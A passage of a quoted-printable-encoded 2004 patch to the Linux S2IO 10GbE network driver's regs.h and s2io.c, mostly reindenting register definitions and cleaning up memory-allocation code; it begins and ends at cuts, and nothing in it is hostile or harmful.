mac_rmac_err_reg;=0A= + u64 mac_rmac_err_reg;=0A= #define RMAC_ERR_REG_RX_BUFF_OVRN BIT(0)=0A= #define RMAC_ERR_REG_RTS_ECC_DB_ERR BIT(14)=0A= #define RMAC_ERR_REG_ECC_DB_ERR BIT(15)=0A= #define RMAC_LINK_STATE_CHANGE_INT BIT(31)=0A= - u64 mac_rmac_err_mask;=0A= - u64 mac_rmac_err_alarm;=0A= + u64 mac_rmac_err_mask;=0A= + u64 mac_rmac_err_alarm;=0A= =0A= - u8 unused14[0x100-0x40];=0A= + u8 unused14[0x100 - 0x40];=0A= =0A= - u64 mac_cfg;=0A= + u64 mac_cfg;=0A= #define MAC_CFG_TMAC_ENABLE BIT(0)=0A= -#define MAC_CFG_RMAC_ENABLE BIT(1) =0A= +#define MAC_CFG_RMAC_ENABLE BIT(1)=0A= #define MAC_CFG_LAN_NOT_WAN BIT(2)=0A= #define MAC_CFG_TMAC_LOOPBACK BIT(3)=0A= #define MAC_CFG_TMAC_APPEND_PAD BIT(4)=0A= @@ -557,15 +556,15 @@ typedef struct _XENA_dev_config =0A= #define MAC_RMAC_ALL_ADDR_ENABLE BIT(10)=0A= #define MAC_RMAC_INVLD_IPG_THR(val) vBIT(val,16,8)=0A= =0A= - u64 tmac_avg_ipg;=0A= -#define TMAC_AVG_IPG(val) vBIT(val,0,8) =0A= + u64 tmac_avg_ipg;=0A= +#define TMAC_AVG_IPG(val) vBIT(val,0,8)=0A= =0A= - u64 rmac_max_pyld_len;=0A= + u64 rmac_max_pyld_len;=0A= #define RMAC_MAX_PYLD_LEN(val) vBIT(val,2,14)=0A= #define RMAC_MAX_PYLD_LEN_DEF vBIT(1500,2,14)=0A= #define RMAC_MAX_PYLD_LEN_JUMBO_DEF vBIT(9600,2,14)=0A= =0A= - u64 rmac_err_cfg;=0A= + u64 rmac_err_cfg;=0A= #define RMAC_ERR_FCS BIT(0)=0A= #define RMAC_ERR_FCS_ACCEPT BIT(1)=0A= #define RMAC_ERR_TOO_LONG BIT(1)=0A= @@ -575,29 +574,29 @@ typedef struct _XENA_dev_config =0A= #define RMAC_ERR_LEN_MISMATCH BIT(3)=0A= #define RMAC_ERR_LEN_MISMATCH_ACCEPT BIT(3)=0A= =0A= - u64 rmac_cfg_key;=0A= + u64 rmac_cfg_key;=0A= #define RMAC_CFG_KEY(val) vBIT(val,0,16)=0A= =0A= #define MAX_MAC_ADDRESSES 16=0A= -#define MAX_MC_ADDRESSES 32 /* Multicast addresses */=0A= +#define MAX_MC_ADDRESSES 32 /* Multicast addresses */=0A= #define MAC_MAC_ADDR_START_OFFSET 0=0A= #define MAC_MC_ADDR_START_OFFSET 16=0A= -#define MAC_MC_ALL_MC_ADDR_OFFSET 63 /* enables all multicast pkts */=0A= - u64 rmac_addr_cmd_mem;=0A= +#define MAC_MC_ALL_MC_ADDR_OFFSET 63 /* enables all multicast pkts */=0A= + u64 rmac_addr_cmd_mem;=0A= #define RMAC_ADDR_CMD_MEM_WE BIT(7)=0A= -#define RMAC_ADDR_CMD_MEM_RD 0 =0A= -#define RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD BIT(15) =0A= +#define RMAC_ADDR_CMD_MEM_RD 0=0A= +#define RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD BIT(15)=0A= #define RMAC_ADDR_CMD_MEM_STROBE_CMD_EXECUTING BIT(15)=0A= #define RMAC_ADDR_CMD_MEM_OFFSET(n) vBIT(n,26,6)=0A= =0A= - u64 rmac_addr_data0_mem;=0A= + u64 rmac_addr_data0_mem;=0A= #define RMAC_ADDR_DATA0_MEM_ADDR(n) vBIT(n,0,48)=0A= #define RMAC_ADDR_DATA0_MEM_USER BIT(48)=0A= =0A= - u64 rmac_addr_data1_mem;=0A= + u64 rmac_addr_data1_mem;=0A= #define RMAC_ADDR_DATA1_MEM_MASK(n) vBIT(n,0,48)=0A= =0A= - u8 unused15[0x8];=0A= + u8 unused15[0x8];=0A= =0A= /*=0A= u64 rmac_addr_cfg;=0A= @@ -606,9 +605,9 @@ typedef struct _XENA_dev_config =0A= #define RMAC_ADDR_BCAST_EN vBIT(0)_48 =0A= #define RMAC_ADDR_ALL_ADDR_EN vBIT(0)_49 =0A= */=0A= - u64 tmac_ipg_cfg;=0A= + u64 tmac_ipg_cfg;=0A= =0A= - u64 rmac_pause_cfg;=0A= + u64 rmac_pause_cfg;=0A= #define RMAC_PAUSE_GEN BIT(0)=0A= #define RMAC_PAUSE_GEN_ENABLE BIT(0)=0A= #define RMAC_PAUSE_RX BIT(1)=0A= @@ -616,85 +615,86 @@ typedef struct _XENA_dev_config =0A= #define RMAC_PAUSE_HG_PTIME_DEF vBIT(0xFFFF,16,16)=0A= #define RMAC_PAUSE_HG_PTIME(val) vBIT(val,16,16)=0A= =0A= - u64 rmac_red_cfg;=0A= + u64 rmac_red_cfg;=0A= =0A= - u64 rmac_red_rate_q0q3;=0A= - u64 rmac_red_rate_q4q7;=0A= + u64 rmac_red_rate_q0q3;=0A= + u64 rmac_red_rate_q4q7;=0A= =0A= - u64 mac_link_util;=0A= + u64 mac_link_util;=0A= #define MAC_TX_LINK_UTIL vBIT(0xFE,1,7)=0A= #define MAC_TX_LINK_UTIL_DISABLE vBIT(0xF, 8,4)=0A= #define MAC_TX_LINK_UTIL_VAL( n ) vBIT(n,8,4)=0A= #define MAC_RX_LINK_UTIL vBIT(0xFE,33,7)=0A= #define MAC_RX_LINK_UTIL_DISABLE vBIT(0xF,40,4)=0A= #define MAC_RX_LINK_UTIL_VAL( n ) vBIT(n,40,4)=0A= - =0A= +=0A= #define MAC_LINK_UTIL_DISABLE MAC_TX_LINK_UTIL_DISABLE | \=0A= MAC_RX_LINK_UTIL_DISABLE=0A= =0A= - u64 rmac_invalid_ipg;=0A= + u64 rmac_invalid_ipg;=0A= =0A= /* rx traffic steering */=0A= #define MAC_RTS_FRM_LEN_SET(len) vBIT(len,2,14)=0A= - u64 rts_frm_len_n[8];=0A= + u64 rts_frm_len_n[8];=0A= =0A= - u64 rts_qos_steering;=0A= + u64 rts_qos_steering;=0A= =0A= -#define MAX_DIX_MAP 4 /* CHANGED */=0A= - u64 rts_dix_map_n[MAX_DIX_MAP];=0A= +#define MAX_DIX_MAP 4=0A= + u64 rts_dix_map_n[MAX_DIX_MAP];=0A= #define RTS_DIX_MAP_ETYPE(val) vBIT(val,0,16)=0A= #define RTS_DIX_MAP_SCW(val) BIT(val,21)=0A= =0A= - u64 rts_q_alternates;=0A= - u64 rts_default_q;=0A= + u64 rts_q_alternates;=0A= + u64 rts_default_q;=0A= =0A= - u64 rts_ctrl;=0A= + u64 rts_ctrl;=0A= #define RTS_CTRL_IGNORE_SNAP_OUI BIT(2)=0A= #define RTS_CTRL_IGNORE_LLC_CTRL BIT(3)=0A= =0A= - u64 rts_pn_cam_ctrl;=0A= + u64 rts_pn_cam_ctrl;=0A= #define RTS_PN_CAM_CTRL_WE BIT(7)=0A= #define RTS_PN_CAM_CTRL_STROBE_NEW_CMD BIT(15)=0A= #define RTS_PN_CAM_CTRL_STROBE_BEING_EXECUTED BIT(15)=0A= #define RTS_PN_CAM_CTRL_OFFSET(n) vBIT(n,24,8)=0A= - u64 rts_pn_cam_data;=0A= + u64 rts_pn_cam_data;=0A= #define RTS_PN_CAM_DATA_TCP_SELECT BIT(7)=0A= #define RTS_PN_CAM_DATA_PORT(val) vBIT(val,8,16)=0A= #define RTS_PN_CAM_DATA_SCW(val) vBIT(val,24,8)=0A= =0A= - u64 rts_ds_mem_ctrl;=0A= + u64 rts_ds_mem_ctrl;=0A= #define RTS_DS_MEM_CTRL_WE BIT(7)=0A= #define RTS_DS_MEM_CTRL_STROBE_NEW_CMD BIT(15)=0A= #define RTS_DS_MEM_CTRL_STROBE_CMD_BEING_EXECUTED BIT(15)=0A= #define RTS_DS_MEM_CTRL_OFFSET(n) vBIT(n,26,6)=0A= - u64 rts_ds_mem_data;=0A= + u64 rts_ds_mem_data;=0A= #define RTS_DS_MEM_DATA(n) vBIT(n,0,8)=0A= =0A= - u8 unused16[0x700-0x220];=0A= + u8 unused16[0x700 - 0x220];=0A= =0A= - u64 mac_debug_ctrl; /* TODO: In 1.5 spec this register is = missing. */=0A= + u64 mac_debug_ctrl;=0A= +#define MAC_DBG_ACTIVITY_VALUE 0x411040400000000ULL=0A= =0A= - u8 unused17[0x2800-0x2708]; /* CHANGED */=0A= + u8 unused17[0x2800 - 0x2708];=0A= =0A= /* memory controller registers */=0A= - u64 mc_int_status;=0A= + u64 mc_int_status;=0A= #define MC_INT_STATUS_MC_INT BIT(0)=0A= - u64 mc_int_mask;=0A= + u64 mc_int_mask;=0A= #define MC_INT_MASK_MC_INT BIT(0)=0A= =0A= - u64 mc_err_reg;=0A= + u64 mc_err_reg;=0A= #define MC_ERR_REG_ECC_DB_ERR_L BIT(14)=0A= #define MC_ERR_REG_ECC_DB_ERR_U BIT(15)=0A= #define MC_ERR_REG_MIRI_CRI_ERR_0 BIT(22)=0A= #define MC_ERR_REG_MIRI_CRI_ERR_1 BIT(23)=0A= #define MC_ERR_REG_SM_ERR BIT(31)=0A= - u64 mc_err_mask;=0A= - u64 mc_err_alarm;=0A= + u64 mc_err_mask;=0A= + u64 mc_err_alarm;=0A= +=0A= + u8 unused18[0x100 - 0x28];=0A= =0A= - u8 unused18[0x100-0x28];=0A= - =0A= /* MC configuration */=0A= - u64 rx_queue_cfg;=0A= + u64 rx_queue_cfg;=0A= #define RX_QUEUE_CFG_Q0_SZ(n) vBIT(n,0,8)=0A= #define RX_QUEUE_CFG_Q1_SZ(n) vBIT(n,8,8)=0A= #define RX_QUEUE_CFG_Q2_SZ(n) vBIT(n,16,8)=0A= @@ -704,78 +704,100 @@ typedef struct _XENA_dev_config =0A= #define RX_QUEUE_CFG_Q6_SZ(n) vBIT(n,48,8)=0A= #define RX_QUEUE_CFG_Q7_SZ(n) vBIT(n,56,8)=0A= =0A= - u64 mc_rldram_mrs;=0A= + u64 mc_rldram_mrs;=0A= #define MC_RLDRAM_QUEUE_SIZE_ENABLE BIT(39)=0A= #define MC_RLDRAM_MRS_ENABLE BIT(47)=0A= =0A= - u64 mc_rldram_interleave;=0A= + u64 mc_rldram_interleave;=0A= =0A= - u64 mc_pause_thresh_q0q3;=0A= - u64 mc_pause_thresh_q4q7;=0A= + u64 mc_pause_thresh_q0q3;=0A= + u64 mc_pause_thresh_q4q7;=0A= =0A= - u64 mc_red_thresh_q[8];=0A= + u64 mc_red_thresh_q[8];=0A= =0A= - u8 unused19[0x200-0x168]; - u64 mc_rldram_ref_per;=0A= - u8 unused20[0x220-0x208]; - u64 mc_rldram_test_ctrl;=0A= + u8 unused19[0x200 - 0x168];=0A= + u64 mc_rldram_ref_per;=0A= + u8 unused20[0x220 - 0x208];=0A= + u64 mc_rldram_test_ctrl;=0A= #define MC_RLDRAM_TEST_MODE BIT(47)=0A= #define MC_RLDRAM_TEST_WRITE BIT(7)=0A= #define MC_RLDRAM_TEST_GO BIT(15)=0A= #define MC_RLDRAM_TEST_DONE BIT(23)=0A= #define MC_RLDRAM_TEST_PASS BIT(31)=0A= =0A= - u8 unused21[0x240-0x228]; - u64 mc_rldram_test_add;=0A= - u8 unused22[0x260-0x248]; - u64 mc_rldram_test_d0;=0A= - u8 unused23[0x280-0x268]; - u64 mc_rldram_test_d1;=0A= - u8 unused24[0x300-0x288]; - u64 mc_rldram_test_d2;=0A= - u8 unused25[0x700-0x308]; - =0A= - u64 mc_debug_ctrl; /* TODO: In 1.5 spec this register is = missing. */=0A= - =0A= - u8 unused26[0x3000-0x2f08];=0A= - =0A= + u8 unused21[0x240 - 0x228];=0A= + u64 mc_rldram_test_add;=0A= + u8 unused22[0x260 - 0x248];=0A= + u64 mc_rldram_test_d0;=0A= + u8 unused23[0x280 - 0x268];=0A= + u64 mc_rldram_test_d1;=0A= + u8 unused24[0x300 - 0x288];=0A= + u64 mc_rldram_test_d2;=0A= + u8 unused25[0x700 - 0x308];=0A= + u64 mc_debug_ctrl;=0A= +=0A= + u8 unused26[0x3000 - 0x2f08];=0A= +=0A= /* XGXG */=0A= - /* XGXS control registers */ =0A= + /* XGXS control registers */=0A= =0A= - u64 xgxs_int_status;=0A= + u64 xgxs_int_status;=0A= #define XGXS_INT_STATUS_TXGXS BIT(0)=0A= #define XGXS_INT_STATUS_RXGXS BIT(1)=0A= - u64 xgxs_int_mask;=0A= + u64 xgxs_int_mask;=0A= #define XGXS_INT_MASK_TXGXS BIT(0)=0A= #define XGXS_INT_MASK_RXGXS BIT(1)=0A= =0A= - u64 xgxs_txgxs_err_reg;=0A= + u64 xgxs_txgxs_err_reg;=0A= #define TXGXS_ECC_DB_ERR BIT(15)=0A= - u64 xgxs_txgxs_err_mask;=0A= - u64 xgxs_txgxs_err_alarm;=0A= + u64 xgxs_txgxs_err_mask;=0A= + u64 xgxs_txgxs_err_alarm;=0A= =0A= - u64 xgxs_rxgxs_err_reg;=0A= - u64 xgxs_rxgxs_err_mask;=0A= - u64 xgxs_rxgxs_err_alarm;=0A= + u64 xgxs_rxgxs_err_reg;=0A= + u64 xgxs_rxgxs_err_mask;=0A= + u64 xgxs_rxgxs_err_alarm;=0A= =0A= - u8 unused27[0x100-0x40]; =0A= + u8 unused27[0x100 - 0x40];=0A= =0A= - u64 xgxs_cfg;=0A= - u64 xgxs_status;=0A= + u64 xgxs_cfg;=0A= + u64 xgxs_status;=0A= =0A= - u64 xgxs_cfg_key;=0A= + u64 xgxs_cfg_key;=0A= u64 xgxs_efifo_cfg; /* CHANGED */=0A= u64 rxgxs_ber_0; /* CHANGED */=0A= - u64 rxgxs_ber_1; /* CHANGED */=0A= + u64 rxgxs_ber_1; /* CHANGED */=0A= =0A= } XENA_dev_config_t;=0A= =0A= #define XENA_REG_SPACE sizeof(XENA_dev_config_t)=0A= #define XENA_EEPROM_SPACE (0x01 << 11)=0A= =0A= -#endif /* _REGS_H */=0A= +#endif /* _REGS_H */=0A= /*=0A= *$Log: regs.h,v $=0A= + *Revision 1.24 2004/02/10 11:58:41 rkoushik=0A= + *Bug: 668=0A= + *Eliminated usage of self declared type 'dmaaddr_t' and also=0A= + *eliminated the usage of PPC64_ARCH macro which was prevalent in the = older code.=0A= + *Further details in the bug.=0A= + *=0A= + *Koushik=0A= + *=0A= + *Revision 1.23 2004/02/04 04:52:44 rkoushik=0A= + *Bug: 667=0A= + * Indented the code using indent utility. Details of the options=0A= + *used are specified in bug # 667=0A= + *=0A= + *Koushik=0A= + *=0A= + *Revision 1.22 2004/01/23 12:08:39 rkoushik=0A= + *Bug: 549=0A= + *Added the beacon feature for new celestica cards using GPIO.=0A= + *test it out using the ethtool utility on both=0A= + *the new and old cards in both Link Up and Down states.=0A= + *=0A= + *Koushik=0A= + *=0A= *Revision 1.21 2004/01/19 09:51:09 rkoushik=0A= *Bug: 598=0A= * Added GPL notices on the driver source files, namely=0A= @@ -800,4 +822,3 @@ typedef struct _XENA_dev_config =0A= *Enabling Logs in source code=0A= *=0A= */=0A= -=0A= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00s2io.c.patch=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =000100644=000000000=000000000=0000000564215=0010014207244=00011702=00 = 0=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00ustar = =00root=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00root=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00--- = prevsub/s2io.c Fri Feb 13 17:33:27 2004=0A= +++ 0213/s2io.c Mon Feb 16 10:30:32 2004=0A= @@ -52,7 +52,14 @@=0A= /* local include */=0A= #include "s2io.h"=0A= #include "regs.h"=0A= -#include "util.h"=0A= +//#include "util.h"=0A= +=0A= +#if LINUX_VERSION_CODE >=3D KERNEL_VERSION(2,6,00)=0A= +#define s2io_free_netdev free_netdev=0A= +#else=0A= +#define s2io_free_netdev kfree=0A= +#endif=0A= +=0A= =0A= /* Load driver as a module */=0A= #define AS_A_MODULE=0A= @@ -60,7 +67,7 @@=0A= /* VENDOR and DEVICE ID of XENA. */=0A= #define PCI_VENDOR_ID_S2IO 0x17D5=0A= #define PCI_DEVICE_ID_S2IO_WIN 0x5731=0A= -#define PCI_DEVICE_ID_S2IO_UNI 0x5831 =0A= +#define PCI_DEVICE_ID_S2IO_UNI 0x5831=0A= =0A= static char s2io_driver_name[] =3D "S2IO";=0A= #ifndef SET_NETDEV_DEV=0A= @@ -79,7 +86,7 @@ static u64 round_robin_reg4 =3D 0x01030204=0A= =0A= /*Prototype declaration of the used functions */=0A= static int __devinit s2io_init_nic(struct pci_dev *pdev,=0A= - const struct pci_device_id *pre);=0A= + const struct pci_device_id *pre);=0A= static void __exit s2io_rem_nic(struct pci_dev *pdev);=0A= static int initSharedMem(struct s2io_nic *sp);=0A= static void freeSharedMem(struct s2io_nic *sp);=0A= @@ -90,56 +97,43 @@ static void rxIntrHandler(struct s2io_ni=0A= static void txIntrHandler(struct s2io_nic *sp);=0A= static void alarmIntrHandler(struct s2io_nic *sp);=0A= =0A= -int s2io_starter(void);=0A= +static int s2io_starter(void);=0A= void s2io_closer(void);=0A= -void s2io_tx_watchdog(struct net_device *dev);=0A= -void s2io_tasklet(unsigned long dev_addr);=0A= -void s2io_set_multicast(struct net_device *dev);=0A= -int rxOsmHandler(nic_t *sp,u16 len,RxD_t *rxdp,int ring_no);=0A= -void s2io_link(nic_t *sp, int link);=0A= -void s2io_reset(nic_t *sp);=0A= +static void s2io_tx_watchdog(struct net_device *dev);=0A= +static void s2io_tasklet(unsigned long dev_addr);=0A= +static void s2io_set_multicast(struct net_device *dev);=0A= +static int rxOsmHandler(nic_t * sp, u16 len, RxD_t * rxdp, int ring_no);=0A= +void s2io_link(nic_t * sp, int link);=0A= +void s2io_reset(nic_t * sp);=0A= #ifdef CONFIGURE_NAPI_SUPPORT=0A= static int s2io_poll(struct net_device *dev, int *budget);=0A= #endif=0A= +/*Grisha */=0A= +static void s2io_init_pci(nic_t * sp);=0A= =0A= #define TASKLET_IN_USE test_and_set_bit(0, (unsigned long = *)&sp->tasklet_status)=0A= #define PANIC 1=0A= #define LOW 2=0A= -static inline int rx_buffer_level(nic_t *sp, int rxb_size, int ring)=0A= +static inline int rx_buffer_level(nic_t * sp, int rxb_size, int ring)=0A= {=0A= int level =3D 0;=0A= - if((sp->pkt_cnt[ring] - rxb_size) > 128) {=0A= + if ((sp->pkt_cnt[ring] - rxb_size) > 128) {=0A= level =3D LOW;=0A= - if(rxb_size < sp->pkt_cnt[ring]/8)=0A= + if (rxb_size < sp->pkt_cnt[ring] / 8)=0A= level =3D PANIC;=0A= }=0A= - =0A= +=0A= return level;=0A= }=0A= =0A= #ifdef CONFIGURE_ETHTOOL_SUPPORT=0A= static int s2io_ethtool(struct net_device *dev, struct ifreq *rq);=0A= -int eth_test_rcvr(struct sk_buff *skb, struct net_device *dev, =0A= - struct packet_type *pt);=0A= -#define ETH_LOOP_TEST_TYPE 0x17D5 /* Need to obtain a value for=0A= - our private protocol ID from=0A= - the community. */ =0A= -#define ETH_LOOP_TEST_CNT 3=0A= -#define ETH_LOOP_TEST_DELAY 3=0A= -#define TEST_FRM_SIZE 0x40=0A= -#define TEST_SEQ_SIZE 1=0A= -static struct packet_type ethtool_test =3D =0A= -{=0A= - .type =3D ETH_LOOP_TEST_TYPE,=0A= - .func =3D eth_test_rcvr=0A= -}; =0A= static char s2io_gstrings[][ETH_GSTRING_LEN] =3D {=0A= -"Register test\t(offline)",=0A= -"Eeprom test\t(offline)",=0A= -"Loop back test\t(online)",=0A= -"Link test\t(online)",=0A= -"RLDRAM test\t(offline)",=0A= -"BIST Test\t(offline)"=0A= + "Register test\t(offline)",=0A= + "Eeprom test\t(offline)",=0A= + "Link test\t(online)",=0A= + "RLDRAM test\t(offline)",=0A= + "BIST Test\t(offline)"=0A= };=0A= #define S2IO_TEST_LEN sizeof(s2io_gstrings) / ETH_GSTRING_LEN=0A= #define S2IO_STRINGS_LEN S2IO_TEST_LEN * ETH_GSTRING_LEN=0A= @@ -158,33 +152,33 @@ static u32 ring_num;=0A= static u32 frame_len[MAX_RX_RINGS];=0A= static u32 ring_len[MAX_RX_RINGS];=0A= static u32 fifo_num;=0A= -static u32 fifo_len[MAX_TX_FIFOS]; =0A= +static u32 fifo_len[MAX_TX_FIFOS];=0A= static u32 rx_prio;=0A= static u32 tx_prio;=0A= -static u8 latency_timer=3D0xff;=0A= +static u8 latency_timer =3D 0xff;=0A= =0A= /* =0A= * S2IO device table.=0A= * This table lists all the devices that this driver supports. =0A= */=0A= -static struct pci_device_id s2io_tbl[] __devinitdata=3D {=0A= - { PCI_VENDOR_ID_S2IO,PCI_DEVICE_ID_S2IO_WIN,=0A= - PCI_ANY_ID,PCI_ANY_ID},=0A= - { PCI_VENDOR_ID_S2IO,PCI_DEVICE_ID_S2IO_UNI,=0A= - PCI_ANY_ID,PCI_ANY_ID},=0A= - { 0,}=0A= +static struct pci_device_id s2io_tbl[] __devinitdata =3D {=0A= + {PCI_VENDOR_ID_S2IO, PCI_DEVICE_ID_S2IO_WIN,=0A= + PCI_ANY_ID, PCI_ANY_ID},=0A= + {PCI_VENDOR_ID_S2IO, PCI_DEVICE_ID_S2IO_UNI,=0A= + PCI_ANY_ID, PCI_ANY_ID},=0A= + {0,}=0A= };=0A= MODULE_DEVICE_TABLE(pci, s2io_tbl);=0A= =0A= static struct pci_driver s2io_driver =3D {=0A= - name: "S2IO",=0A= - id_table: s2io_tbl,=0A= - probe: s2io_init_nic,=0A= - remove: s2io_rem_nic,=0A= + name:"S2IO",=0A= + id_table:s2io_tbl,=0A= + probe:s2io_init_nic,=0A= + remove:s2io_rem_nic,=0A= #ifdef UNDEFINED=0A= - suspend: NULL,=0A= - resume: NULL,=0A= -#endif =0A= + suspend:NULL,=0A= + resume:NULL,=0A= +#endif=0A= };=0A= =0A= /* =0A= @@ -201,169 +195,159 @@ static int initSharedMem(struct s2io_nic=0A= {=0A= u32 size;=0A= void *tmp_v_addr, *tmp_v_addr_next;=0A= - dmaaddr_t tmp_p_addr, tmp_p_addr_next;=0A= + dma_addr_t tmp_p_addr, tmp_p_addr_next;=0A= RxD_block_t *pre_rxd_blk =3D NULL;=0A= - int i,j, blk_cnt;=0A= + int i, j, blk_cnt;=0A= struct net_device *dev =3D nic->dev;=0A= - #ifdef ARCH_PPC64=0A= - dma_addr_t phy_alloc;=0A= - #endif=0A= +=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= + = =0A= + mac_control =3D &nic->mac_control;=0A= + config =3D &nic->config;=0A= =0A= =0A= nic->_fResource =3D 0;=0A= /* Allocation and initialization of TXDLs in FIOFs */=0A= size =3D 0;=0A= - for(i=3D0; iconfig.TxFIFONum; i++) {=0A= - size +=3D nic->config.TxCfg[i].FifoLen;=0A= + for (i =3D 0; i < config->TxFIFONum; i++) {=0A= + size +=3D config->TxCfg[i].FifoLen;=0A= + }=0A= + if (size > MAX_AVAILABLE_TXDS) {=0A= + DBG_PRINT(ERR_DBG, "%s: Total number of Tx FIFOs ",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, "exceeds the maximum value ");=0A= + DBG_PRINT(ERR_DBG, "that can be used\n");=0A= + return FAILURE;=0A= }=0A= - if(size > MAX_AVAILABLE_TXDS) {=0A= - DBG_PRINT(ERR_DBG,"%s: Total number of Tx FIFOs ",dev->name);=0A= - DBG_PRINT(ERR_DBG,"exceeds the maximum value ");=0A= - DBG_PRINT(ERR_DBG,"that can be used\n");=0A= - return FAILURE; =0A= - }=0A= - size *=3D (sizeof(TxD_t) * nic->config.MaxTxDs);=0A= -=0A= - #ifdef ARCH_PPC64=0A= - nic->mac_control.txd_list_mem =3D pci_alloc_consistent=0A= - (nic->pdev, size, &phy_alloc);=0A= - nic->mac_control.txd_list_mem_phy =3D phy_alloc;=0A= - #else=0A= - nic->mac_control.txd_list_mem =3D pci_alloc_consistent=0A= - (nic->pdev, size, &nic->mac_control.txd_list_mem_phy);=0A= - #endif=0A= + size *=3D (sizeof(TxD_t) * config->MaxTxDs);=0A= =0A= - if(!nic->mac_control.txd_list_mem) {=0A= + mac_control->txd_list_mem =3D pci_alloc_consistent=0A= + (nic->pdev, size, &mac_control->txd_list_mem_phy);=0A= + if (!mac_control->txd_list_mem) {=0A= return -ENOMEM;=0A= - } else {=0A= - nic->_fResource |=3D TXD_ALLOCED;=0A= }=0A= - nic->mac_control.txd_list_mem_sz =3D size;=0A= + nic->_fResource |=3D TXD_ALLOCED;=0A= + mac_control->txd_list_mem_sz =3D size;=0A= +=0A= + tmp_v_addr =3D mac_control->txd_list_mem;=0A= + tmp_p_addr =3D mac_control->txd_list_mem_phy;=0A= + memset(tmp_v_addr, 0, size);=0A= +#ifndef XENA_ARCH_64=0A= + DBG_PRINT(INIT_DBG, "%s:List Mem PHY: 0x%x\n", dev->name,=0A= + tmp_p_addr);=0A= +#else=0A= + DBG_PRINT(INIT_DBG, "%s:List Mem PHY: 0x%lx\n", dev->name,=0A= + tmp_p_addr);=0A= +#endif=0A= =0A= - tmp_v_addr =3D nic->mac_control.txd_list_mem;=0A= - tmp_p_addr =3D nic->mac_control.txd_list_mem_phy;=0A= - memset(tmp_v_addr,0,size);=0A= - #ifndef XENA_ARCH_64=0A= - DBG_PRINT(INIT_DBG,"%s:List Mem PHY: 0x%x\n",dev->name,tmp_p_addr);=0A= - #else=0A= - DBG_PRINT(INIT_DBG,"%s:List Mem PHY: 0x%lx\n",dev->name,tmp_p_addr);=0A= - #endif=0A= - =0A= - for(i=3D0;iconfig.TxFIFONum;i++) {=0A= - nic->mac_control.txdl_start_phy[i] =3D tmp_p_addr;=0A= - nic->mac_control.txdl_start[i] =3D (TxD_t *)tmp_v_addr;=0A= - nic->mac_control.tx_curr_put_info[i].offset =3D 0;=0A= - nic->mac_control.tx_curr_put_info[i].fifo_len =3D=0A= - nic->config.TxCfg[i].FifoLen-1;=0A= - nic->mac_control.tx_curr_get_info[i].offset =3D 0;=0A= - nic->mac_control.tx_curr_get_info[i].fifo_len =3D=0A= - nic->config.TxCfg[i].FifoLen-1;=0A= - =0A= - tmp_p_addr +=3D (nic->config.TxCfg[i].FifoLen*(sizeof(TxD_t))*=0A= - nic->config.MaxTxDs);=0A= - tmp_v_addr +=3D (nic->config.TxCfg[i].FifoLen*(sizeof(TxD_t))*=0A= - nic->config.MaxTxDs);=0A= + for (i =3D 0; i < config->TxFIFONum; i++) {=0A= + mac_control->txdl_start_phy[i] =3D tmp_p_addr;=0A= + mac_control->txdl_start[i] =3D (TxD_t *) tmp_v_addr;=0A= + 